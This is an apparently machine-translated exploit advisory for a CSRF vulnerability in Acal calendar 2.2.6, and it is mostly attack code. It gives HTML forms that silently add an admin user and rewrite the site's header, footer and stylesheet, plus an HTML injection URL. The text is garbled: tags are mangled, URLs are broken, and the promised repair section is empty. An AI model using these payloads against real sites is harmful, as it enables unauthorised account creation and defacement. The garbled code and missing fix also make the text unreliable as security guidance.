Acal calendar 2.2.6 CSRF defect and repair

Title: [Acal calendar 2.2.6 CSRF Vulnerability]
Author: [Number 7]
[Http://sourceforge.net/projects/acalproj/files/latest/download? Source = directory]
Affected Versions: [2.2.6]
Test Platform: [Windows, Linux]
____________________________________________________________________________
Add an account <br>
<Form method = "post" action = "http: // localhost/ACal-2.2.6/calendar/admin/changelogin. php? Action = add "> <br>
Username: <br>
<Input type = "text" size = "20" name = "user"/> <br>
Password: <br>
<Input type = "password" size = "20" name = "pass"/>
<Input type = "submit" value = "Add User"/> </form>
Edit/Add Header
<Form action = "http: // www.2cto.com/ACal-2.2.6/calendar/admin/edit. php? Edit = header "method =" post ">
<Textarea cols = "60" rows = "14" name = "header"> Write New Header Here. & lt;/textarea & gt;
<Input type = "submit" value = "Submit Changes"/>
Edit/Add Footer
<Form action = "http: // localhost/ACal-2.2.6/calendar/admin/edit. php? Edit = footer "method =" post ">
<Textarea cols = "60" rows = "14" name = "footer"> Write New Footer Here. & lt;/textarea & gt;
<Input type = "submit" value = "Submit Changes"/>
</Form>
Style Options
<Form method = "post" action = "http: // localhost/ACal-2.2.6/calendar/admin/style. php? Edit = style ">
<Textarea name = "stylesheet" cols = "60" rows = "20"> & lt;/textarea & gt;
<Input type = "submit" value = "Edit"/>
HTML injection:
Http: // localhost/ACal-2.2.6/calendar. php? Year = Inject HTML Code here.
____________________________________________________________________________
 
 
Www.2cto.com:
 
Targeted repair